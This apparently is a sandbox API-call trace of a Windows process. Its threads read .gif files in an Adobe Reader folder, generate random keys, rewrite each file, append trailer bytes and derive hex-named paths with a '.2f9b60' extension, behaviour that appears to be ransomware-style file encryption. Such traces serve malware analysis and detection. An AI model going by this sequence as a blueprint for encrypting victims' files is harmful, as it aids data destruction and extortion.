RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f6a0 [0242.163] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fa30 [0242.163] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fa30) returned 1 [0242.164] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba160) returned 1 [0242.164] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058ba0) returned 1 [0242.164] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x61) returned 0x43105d70 [0242.164] sprintf (in: _Dest=0x43105d70, _Format="%c%c" | out: _Dest="5d") returned 2 [0242.164] sprintf (in: _Dest=0x43105d72, _Format="%c%c" | out: _Dest="cf") returned 2 [0242.164] sprintf (in: _Dest=0x43105d74, _Format="%c%c" | out: _Dest="02") returned 2 [0242.164] sprintf (in: _Dest=0x43105d76, _Format="%c%c" | out: _Dest="61") returned 2 [0242.164] sprintf (in: _Dest=0x43105d78, _Format="%c%c" | out: _Dest="54") returned 2 [0242.164] sprintf (in: _Dest=0x43105d7a, _Format="%c%c" | out: _Dest="51") returned 2 [0242.164] sprintf (in: _Dest=0x43105d7c, _Format="%c%c" | out: _Dest="46") returned 2 [0242.164] sprintf (in: _Dest=0x43105d7e, _Format="%c%c" | out: _Dest="9d") returned 2 [0242.165] sprintf (in: _Dest=0x43105d80, _Format="%c%c" | out: _Dest="1b") returned 2 [0242.165] sprintf (in: _Dest=0x43105d82, _Format="%c%c" | out: _Dest="26") returned 2 [0242.165] sprintf (in: _Dest=0x43105d84, _Format="%c%c" | out: _Dest="da") returned 2 [0242.165] sprintf (in: _Dest=0x43105d86, _Format="%c%c" | out: _Dest="6b") returned 2 [0242.165] sprintf (in: _Dest=0x43105d88, _Format="%c%c" | out: _Dest="7d") returned 2 [0242.165] sprintf (in: _Dest=0x43105d8a, _Format="%c%c" | out: _Dest="12") returned 2 [0242.165] sprintf (in: _Dest=0x43105d8c, _Format="%c%c" | out: _Dest="7c") returned 2 [0242.165] sprintf (in: _Dest=0x43105d8e, _Format="%c%c" | out: _Dest="c7") returned 2 [0242.165] sprintf (in: _Dest=0x43105d90, _Format="%c%c" | out: _Dest="a0") returned 2 [0242.165] sprintf (in: _Dest=0x43105d92, _Format="%c%c" | out: _Dest="cd") returned 2 [0242.165] sprintf (in: _Dest=0x43105d94, _Format="%c%c" | out: _Dest="9f") returned 2 [0242.165] sprintf (in: _Dest=0x43105d96, _Format="%c%c" | out: _Dest="9b") returned 2 [0242.165] sprintf (in: _Dest=0x43105d98, _Format="%c%c" | out: _Dest="07") returned 2 [0242.165] sprintf (in: _Dest=0x43105d9a, _Format="%c%c" | out: _Dest="04") returned 2 [0242.165] sprintf (in: _Dest=0x43105d9c, _Format="%c%c" | out: _Dest="47") returned 2 [0242.165] sprintf (in: _Dest=0x43105d9e, _Format="%c%c" | out: _Dest="1a") returned 2 [0242.165] sprintf (in: _Dest=0x43105da0, _Format="%c%c" | out: _Dest="a8") returned 2 [0242.165] sprintf (in: _Dest=0x43105da2, _Format="%c%c" | out: _Dest="34") returned 2 [0242.165] sprintf (in: _Dest=0x43105da4, _Format="%c%c" | out: _Dest="4c") returned 2 [0242.165] sprintf (in: _Dest=0x43105da6, _Format="%c%c" | out: _Dest="d4") returned 2 [0242.165] sprintf (in: _Dest=0x43105da8, _Format="%c%c" | out: _Dest="46") returned 2 [0242.165] sprintf (in: _Dest=0x43105daa, _Format="%c%c" | out: _Dest="0c") returned 2 [0242.165] sprintf (in: _Dest=0x43105dac, _Format="%c%c" | out: _Dest="d2") returned 2 [0242.165] sprintf (in: _Dest=0x43105dae, _Format="%c%c" | out: _Dest="d8") returned 2 [0242.165] sprintf (in: _Dest=0x43105db0, _Format="%c%c" | out: _Dest="6b") returned 2 [0242.165] sprintf (in: _Dest=0x43105db2, _Format="%c%c" | out: _Dest="1d") returned 2 [0242.165] sprintf (in: _Dest=0x43105db4, _Format="%c%c" | out: _Dest="8a") returned 2 [0242.165] sprintf (in: _Dest=0x43105db6, _Format="%c%c" | out: _Dest="8c") returned 2 [0242.165] sprintf (in: _Dest=0x43105db8, _Format="%c%c" | out: _Dest="a8") returned 2 [0242.165] sprintf (in: _Dest=0x43105dba, _Format="%c%c" | out: _Dest="5f") returned 2 [0242.165] sprintf (in: _Dest=0x43105dbc, _Format="%c%c" | out: _Dest="50") returned 2 [0242.165] sprintf (in: _Dest=0x43105dbe, _Format="%c%c" | out: _Dest="31") returned 2 [0242.165] sprintf (in: _Dest=0x43105dc0, _Format="%c%c" | out: _Dest="9b") returned 2 [0242.165] sprintf (in: _Dest=0x43105dc2, _Format="%c%c" | out: _Dest="ff") returned 2 [0242.166] sprintf (in: _Dest=0x43105dc4, _Format="%c%c" | out: _Dest="74") returned 2 [0242.166] sprintf (in: _Dest=0x43105dc6, _Format="%c%c" | out: _Dest="fc") returned 2 [0242.166] sprintf (in: _Dest=0x43105dc8, _Format="%c%c" | out: _Dest="33") returned 2 [0242.166] sprintf (in: _Dest=0x43105dca, _Format="%c%c" | out: _Dest="9f") returned 2 [0242.166] sprintf (in: _Dest=0x43105dcc, _Format="%c%c" | out: _Dest="b7") returned 2 [0242.166] sprintf (in: _Dest=0x43105dce, _Format="%c%c" | out: _Dest="d1") returned 2 [0242.166] RtlInitAnsiString (in: DestinationString=0x3954f888, SourceString="5dcf02615451469d1b26da6b7d127cc7a0cd9f9b0704471aa8344cd4460cd2d86b1d8a8ca85f50319bff74fc339fb7d1" | out: DestinationString="5dcf02615451469d1b26da6b7d127cc7a0cd9f9b0704471aa8344cd4460cd2d86b1d8a8ca85f50319bff74fc339fb7d1") [0242.166] RtlAnsiStringToUnicodeString (in: DestinationString=0x3954f858, SourceString="5dcf02615451469d1b26da6b7d127cc7a0cd9f9b0704471aa8344cd4460cd2d86b1d8a8ca85f50319bff74fc339fb7d1", AllocateDestinationString=1 | out: DestinationString="5dcf02615451469d1b26da6b7d127cc7a0cd9f9b0704471aa8344cd4460cd2d86b1d8a8ca85f50319bff74fc339fb7d1") returned 0x0 [0242.166] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc2) returned 0x430fd830 [0242.166] wcscat (in: _Dest=0x20278bf0, _Source="5dcf02615451469d1b26da6b" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\5dcf02615451469d1b26da6b") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\5dcf02615451469d1b26da6b" [0242.167] wcscat (in: _Dest=0x20278bf0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\5dcf02615451469d1b26da6b.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\5dcf02615451469d1b26da6b.2f9b60" [0242.167] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\5dcf02615451469d1b26da6b.2f9b60", NtPathName=0x3954f830, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\5dcf02615451469d1b26da6b.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0242.167] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xce) returned 0x430d7ec0 Thread: id = 3903 os_tid = 0x14c8 [0229.974] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\end_review.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\end_review.gif")) returned 0x20 [0230.880] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\end_review.gif", dwFileAttributes=0x20) returned 1 [0231.035] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\end_review.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\end_review.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x3284 [0231.198] GetFileSizeEx (in: hFile=0x3284, lpFileSize=0x3a3af860 | out: lpFileSize=0x3a3af860*=900) returned 1 [0231.198] SetFilePointerEx (in: hFile=0x3284, liDistanceToMove=0x380, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.198] ReadFile (in: hFile=0x3284, lpBuffer=0x3a3af7e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3a3af828, lpOverlapped=0x0 | out: lpBuffer=0x3a3af7e0*, lpNumberOfBytesRead=0x3a3af828*=0x4, lpOverlapped=0x0) returned 1 [0231.211] SetFilePointerEx (in: hFile=0x3284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.211] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f9a0 [0231.211] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860780 [0231.211] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860420 [0231.212] NtQuerySystemTime (in: CurrentTime=0x3a3af720 | out: CurrentTime=0x3a3af720*=132462178352086000) returned 0x0 [0231.212] RtlRandomEx (in: Seed=0x3a3af710 | out: Seed=0x3a3af710) returned 0x663cef10 [0231.212] RtlRandomEx (in: Seed=0x3a3af710 | out: Seed=0x3a3af710) returned 0x4fb73095 [0231.212] RtlRandomEx (in: Seed=0x3a3af710 | out: Seed=0x3a3af710) returned 0xba2689 [0231.212] RtlRandomEx (in: Seed=0x3a3af710 | out: Seed=0x3a3af710) returned 0x65f88c5c [0231.212] RtlRandomEx (in: Seed=0x3a3af710 | out: Seed=0x3a3af710) returned 0x88ea2db [0231.212] RtlRandomEx (in: Seed=0x3a3af710 | out: Seed=0x3a3af710) returned 0x9822ecc [0231.212] RtlRandomEx (in: Seed=0x3a3af710 | out: Seed=0x3a3af710) returned 0x58b655b [0231.212] RtlRandomEx (in: Seed=0x3a3af710 | out: Seed=0x3a3af710) returned 0x76f68f6a [0231.212] RtlRandomEx (in: Seed=0x3a3af710 | out: Seed=0x3a3af710) returned 0x19999684 [0231.212] RtlRandomEx (in: Seed=0x3a3af710 | out: Seed=0x3a3af710) returned 0x3df1f73e [0231.212] RtlRandomEx (in: Seed=0x3a3af710 | out: Seed=0x3a3af710) returned 0x63d98159 [0231.212] RtlRandomEx (in: Seed=0x3a3af710 | out: Seed=0x3a3af710) returned 0x1d9e9f5e [0231.212] RtlRandomEx (in: Seed=0x3a3af710 | out: Seed=0x3a3af710) returned 0x6d5748e0 [0231.212] RtlRandomEx (in: Seed=0x3a3af710 | out: Seed=0x3a3af710) returned 0x1042a51b [0231.212] RtlRandomEx (in: Seed=0x3a3af710 | out: Seed=0x3a3af710) returned 0x2d5ee3d0 [0231.212] RtlRandomEx (in: Seed=0x3a3af710 | out: Seed=0x3a3af710) returned 0x75b3c29e [0231.212] RtlRandomEx (in: Seed=0x3a3af710 | out: Seed=0x3a3af710) returned 0x7cc1b73e [0231.212] RtlRandomEx (in: Seed=0x3a3af710 | out: Seed=0x3a3af710) returned 0x2b608cbd [0231.212] RtlRandomEx (in: Seed=0x3a3af710 | out: Seed=0x3a3af710) returned 0xb9b5e78 [0231.212] RtlRandomEx (in: Seed=0x3a3af710 | out: Seed=0x3a3af710) returned 0x3cee5112 [0231.212] RtlRandomEx (in: Seed=0x3a3af710 | out: Seed=0x3a3af710) returned 0xf074b9b [0231.212] RtlRandomEx (in: Seed=0x3a3af710 | out: Seed=0x3a3af710) returned 0xbc77488 [0231.212] RtlRandomEx (in: Seed=0x3a3af710 | out: Seed=0x3a3af710) returned 0x14b0c8db [0231.212] RtlRandomEx (in: Seed=0x3a3af710 | out: Seed=0x3a3af710) returned 0x736bf74c [0231.212] RtlRandomEx (in: Seed=0x3a3af710 | out: Seed=0x3a3af710) returned 0x40de7fa9 [0231.212] RtlRandomEx (in: Seed=0x3a3af710 | out: Seed=0x3a3af710) returned 0x46c4b36 [0231.212] RtlRandomEx (in: Seed=0x3a3af710 | out: Seed=0x3a3af710) returned 0x70b9fa19 [0231.212] RtlRandomEx (in: Seed=0x3a3af710 | out: Seed=0x3a3af710) returned 0x24fc9d5f [0231.212] RtlRandomEx (in: Seed=0x3a3af710 | out: Seed=0x3a3af710) returned 0x1587049b [0231.212] RtlRandomEx (in: Seed=0x3a3af710 | out: Seed=0x3a3af710) returned 0xc65e821 [0231.212] RtlRandomEx (in: Seed=0x3a3af710 | out: Seed=0x3a3af710) returned 0x6dcbb0cb [0231.212] RtlRandomEx (in: Seed=0x3a3af710 | out: Seed=0x3a3af710) returned 0x327a0078 [0231.219] ReadFile (in: hFile=0x3284, lpBuffer=0x421e4d90, nNumberOfBytesToRead=0x384, lpNumberOfBytesRead=0x3a3af710, lpOverlapped=0x0 | out: lpBuffer=0x421e4d90*, lpNumberOfBytesRead=0x3a3af710*=0x384, lpOverlapped=0x0) returned 1 [0231.219] SetFilePointerEx (in: hFile=0x3284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.219] WriteFile (in: hFile=0x3284, lpBuffer=0x203954e0*, nNumberOfBytesToWrite=0x384, lpNumberOfBytesWritten=0x3a3af714, lpOverlapped=0x0 | out: lpBuffer=0x203954e0*, lpNumberOfBytesWritten=0x3a3af714*=0x384, lpOverlapped=0x0) returned 1 [0239.262] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313b1a0 [0239.262] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313b0b0 [0239.262] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313b0b0) returned 1 [0239.263] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203954e0) returned 1 [0239.263] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421e4d90) returned 1 [0239.263] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba960) returned 1 [0239.263] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058e20) returned 1 [0239.263] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x431ade20 [0239.264] SetFilePointerEx (in: hFile=0x3284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0239.264] WriteFile (in: hFile=0x3284, lpBuffer=0x42c14990*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x3a3af830, lpOverlapped=0x0 | out: lpBuffer=0x42c14990*, lpNumberOfBytesWritten=0x3a3af830*=0x10e, lpOverlapped=0x0) returned 1 [0242.115] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62640 [0242.116] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba160 [0242.116] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f610 [0242.117] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f610) returned 1 [0242.117] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x1b85f610 [0242.117] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860330 [0242.117] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860420 [0242.118] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860420) returned 1 [0242.119] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba160) returned 1 [0242.119] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62640) returned 1 [0242.119] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x39) returned 0x1ce62640 [0242.119] sprintf (in: _Dest=0x1ce62640, _Format="%c%c" | out: _Dest="12") returned 2 [0242.119] sprintf (in: _Dest=0x1ce62642, _Format="%c%c" | out: _Dest="dc") returned 2 [0242.119] sprintf (in: _Dest=0x1ce62644, _Format="%c%c" | out: _Dest="38") returned 2 [0242.119] sprintf (in: _Dest=0x1ce62646, _Format="%c%c" | out: _Dest="fa") returned 2 [0242.119] sprintf (in: _Dest=0x1ce62648, _Format="%c%c" | out: _Dest="85") returned 2 [0242.119] sprintf (in: _Dest=0x1ce6264a, _Format="%c%c" | out: _Dest="09") returned 2 [0242.119] sprintf (in: _Dest=0x1ce6264c, _Format="%c%c" | out: _Dest="cb") returned 2 [0242.119] sprintf (in: _Dest=0x1ce6264e, _Format="%c%c" | out: _Dest="98") returned 2 [0242.119] sprintf (in: _Dest=0x1ce62650, _Format="%c%c" | out: _Dest="93") returned 2 [0242.120] sprintf (in: _Dest=0x1ce62652, _Format="%c%c" | out: _Dest="4c") returned 2 [0242.120] sprintf (in: _Dest=0x1ce62654, _Format="%c%c" | out: _Dest="9d") returned 2 [0242.120] sprintf (in: _Dest=0x1ce62656, _Format="%c%c" | out: _Dest="04") returned 2 [0242.120] sprintf (in: _Dest=0x1ce62658, _Format="%c%c" | out: _Dest="9c") returned 2 [0242.120] sprintf (in: _Dest=0x1ce6265a, _Format="%c%c" | out: _Dest="44") returned 2 [0242.120] sprintf (in: _Dest=0x1ce6265c, _Format="%c%c" | out: _Dest="d9") returned 2 [0242.120] sprintf (in: _Dest=0x1ce6265e, _Format="%c%c" | out: _Dest="db") returned 2 [0242.120] sprintf (in: _Dest=0x1ce62660, _Format="%c%c" | out: _Dest="56") returned 2 [0242.120] sprintf (in: _Dest=0x1ce62662, _Format="%c%c" | out: _Dest="0b") returned 2 [0242.120] sprintf (in: _Dest=0x1ce62664, _Format="%c%c" | out: _Dest="00") returned 2 [0242.120] sprintf (in: _Dest=0x1ce62666, _Format="%c%c" | out: _Dest="9f") returned 2 [0242.120] sprintf (in: _Dest=0x1ce62668, _Format="%c%c" | out: _Dest="e6") returned 2 [0242.120] sprintf (in: _Dest=0x1ce6266a, _Format="%c%c" | out: _Dest="d5") returned 2 [0242.120] sprintf (in: _Dest=0x1ce6266c, _Format="%c%c" | out: _Dest="a1") returned 2 [0242.120] sprintf (in: _Dest=0x1ce6266e, _Format="%c%c" | out: _Dest="74") returned 2 [0242.120] sprintf (in: _Dest=0x1ce62670, _Format="%c%c" | out: _Dest="94") returned 2 [0242.120] sprintf (in: _Dest=0x1ce62672, _Format="%c%c" | out: _Dest="9d") returned 2 [0242.120] sprintf (in: _Dest=0x1ce62674, _Format="%c%c" | out: _Dest="1f") returned 2 [0242.120] sprintf (in: _Dest=0x1ce62676, _Format="%c%c" | out: _Dest="2c") returned 2 [0242.120] RtlInitAnsiString (in: DestinationString=0x3a3af8a8, SourceString="12dc38fa8509cb98934c9d049c44d9db560b009fe6d5a174949d1f2c" | out: DestinationString="12dc38fa8509cb98934c9d049c44d9db560b009fe6d5a174949d1f2c") [0242.120] RtlAnsiStringToUnicodeString (in: DestinationString=0x3a3af878, SourceString="12dc38fa8509cb98934c9d049c44d9db560b009fe6d5a174949d1f2c", AllocateDestinationString=1 | out: DestinationString="12dc38fa8509cb98934c9d049c44d9db560b009fe6d5a174949d1f2c") returned 0x0 [0242.120] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1ceb9e60 [0242.121] wcscat (in: _Dest=0x431450c0, _Source="12dc38fa8509cb" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\12dc38fa8509cb") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\12dc38fa8509cb" [0242.121] wcscat (in: _Dest=0x431450c0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\12dc38fa8509cb.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\12dc38fa8509cb.2f9b60" [0242.121] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\12dc38fa8509cb.2f9b60", NtPathName=0x3a3af850, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\12dc38fa8509cb.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0242.121] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x430fd900 Thread: id = 3904 os_tid = 0x1244 [0229.975] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\forms_distributed.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\forms_distributed.gif")) returned 0x20 [0230.878] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\forms_distributed.gif", dwFileAttributes=0x20) returned 1 [0231.033] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\forms_distributed.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\forms_distributed.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xab0 [0231.244] GetFileSizeEx (in: hFile=0xab0, lpFileSize=0x383afe20 | out: lpFileSize=0x383afe20*=613) returned 1 [0231.244] SetFilePointerEx (in: hFile=0xab0, liDistanceToMove=0x261, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.244] ReadFile (in: hFile=0xab0, lpBuffer=0x383afda0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x383afde8, lpOverlapped=0x0 | out: lpBuffer=0x383afda0*, lpNumberOfBytesRead=0x383afde8*=0x4, lpOverlapped=0x0) returned 1 [0231.265] SetFilePointerEx (in: hFile=0xab0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.265] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f9a0 [0231.266] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f790 [0231.266] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860510 [0231.266] NtQuerySystemTime (in: CurrentTime=0x383afce0 | out: CurrentTime=0x383afce0*=132462178352554000) returned 0x0 [0231.266] RtlRandomEx (in: Seed=0x383afcd0 | out: Seed=0x383afcd0) returned 0x294dc9e6 [0231.266] RtlRandomEx (in: Seed=0x383afcd0 | out: Seed=0x383afcd0) returned 0xbe03102 [0231.266] RtlRandomEx (in: Seed=0x383afcd0 | out: Seed=0x383afcd0) returned 0x74b9cd4c [0231.266] RtlRandomEx (in: Seed=0x383afcd0 | out: Seed=0x383afcd0) returned 0x6cc09ce4 [0231.266] RtlRandomEx (in: Seed=0x383afcd0 | out: Seed=0x383afcd0) returned 0x530ea313 [0231.266] RtlRandomEx (in: Seed=0x383afcd0 | out: Seed=0x383afcd0) returned 0x7c876746 [0231.266] RtlRandomEx (in: Seed=0x383afcd0 | out: Seed=0x383afcd0) returned 0x121ff916 [0231.266] RtlRandomEx (in: Seed=0x383afcd0 | out: Seed=0x383afcd0) returned 0x2e0ff8fc [0231.266] RtlRandomEx (in: Seed=0x383afcd0 | out: Seed=0x383afcd0) returned 0x492cc943 [0231.266] RtlRandomEx (in: Seed=0x383afcd0 | out: Seed=0x383afcd0) returned 0x5732b7e5 [0231.266] RtlRandomEx (in: Seed=0x383afcd0 | out: Seed=0x383afcd0) returned 0x7c8d9ca0 [0231.267] RtlRandomEx (in: Seed=0x383afcd0 | out: Seed=0x383afcd0) returned 0x74b9cd4c [0231.267] RtlRandomEx (in: Seed=0x383afcd0 | out: Seed=0x383afcd0) returned 0x3a5083d8 [0231.267] RtlRandomEx (in: Seed=0x383afcd0 | out: Seed=0x383afcd0) returned 0x22a070b0 [0231.267] RtlRandomEx (in: Seed=0x383afcd0 | out: Seed=0x383afcd0) returned 0x4f53fb1d [0231.267] RtlRandomEx (in: Seed=0x383afcd0 | out: Seed=0x383afcd0) returned 0x6050dc37 [0231.267] RtlRandomEx (in: Seed=0x383afcd0 | out: Seed=0x383afcd0) returned 0x28f88862 [0231.267] RtlRandomEx (in: Seed=0x383afcd0 | out: Seed=0x383afcd0) returned 0x5ad9d903 [0231.267] RtlRandomEx (in: Seed=0x383afcd0 | out: Seed=0x383afcd0) returned 0x249ff745 [0231.267] RtlRandomEx (in: Seed=0x383afcd0 | out: Seed=0x383afcd0) returned 0x7be0aa2 [0231.267] RtlRandomEx (in: Seed=0x383afcd0 | out: Seed=0x383afcd0) returned 0x1531531b [0231.267] RtlRandomEx (in: Seed=0x383afcd0 | out: Seed=0x383afcd0) returned 0xc4c6b81 [0231.267] RtlRandomEx (in: Seed=0x383afcd0 | out: Seed=0x383afcd0) returned 0x23c6959f [0231.267] RtlRandomEx (in: Seed=0x383afcd0 | out: Seed=0x383afcd0) returned 0x4b76a189 [0231.267] RtlRandomEx (in: Seed=0x383afcd0 | out: Seed=0x383afcd0) returned 0x5e784e1 [0231.267] RtlRandomEx (in: Seed=0x383afcd0 | out: Seed=0x383afcd0) returned 0x1caebd81 [0231.267] RtlRandomEx (in: Seed=0x383afcd0 | out: Seed=0x383afcd0) returned 0x4d12c45d [0231.267] RtlRandomEx (in: Seed=0x383afcd0 | out: Seed=0x383afcd0) returned 0x5e6f119d [0231.267] RtlRandomEx (in: Seed=0x383afcd0 | out: Seed=0x383afcd0) returned 0x213d175 [0231.267] RtlRandomEx (in: Seed=0x383afcd0 | out: Seed=0x383afcd0) returned 0x62fa6d3f [0231.267] RtlRandomEx (in: Seed=0x383afcd0 | out: Seed=0x383afcd0) returned 0x121ff916 [0231.267] RtlRandomEx (in: Seed=0x383afcd0 | out: Seed=0x383afcd0) returned 0x14303e9b [0231.274] ReadFile (in: hFile=0xab0, lpBuffer=0x203990f0, nNumberOfBytesToRead=0x265, lpNumberOfBytesRead=0x383afcd0, lpOverlapped=0x0 | out: lpBuffer=0x203990f0*, lpNumberOfBytesRead=0x383afcd0*=0x265, lpOverlapped=0x0) returned 1 [0231.274] SetFilePointerEx (in: hFile=0xab0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.274] WriteFile (in: hFile=0xab0, lpBuffer=0x203be990*, nNumberOfBytesToWrite=0x265, lpNumberOfBytesWritten=0x383afcd4, lpOverlapped=0x0 | out: lpBuffer=0x203be990*, lpNumberOfBytesWritten=0x383afcd4*=0x265, lpOverlapped=0x0) returned 1 [0239.255] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313bb60 [0239.255] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313c1f0 [0239.255] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313c1f0) returned 1 [0239.255] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203be990) returned 1 [0239.256] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203990f0) returned 1 [0239.256] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba060) returned 1 [0239.256] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058d30) returned 1 [0239.256] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x38) returned 0x431ac8a0 [0239.257] SetFilePointerEx (in: hFile=0xab0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0239.257] WriteFile (in: hFile=0xab0, lpBuffer=0x42c20da0*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x383afdf0, lpOverlapped=0x0 | out: lpBuffer=0x42c20da0*, lpNumberOfBytesWritten=0x383afdf0*=0x11c, lpOverlapped=0x0) returned 1 [0242.094] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62640 [0242.094] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba160 [0242.094] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6f50 [0242.095] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6f50) returned 1 [0242.095] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x431ad7e0 [0242.095] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6f50 [0242.095] 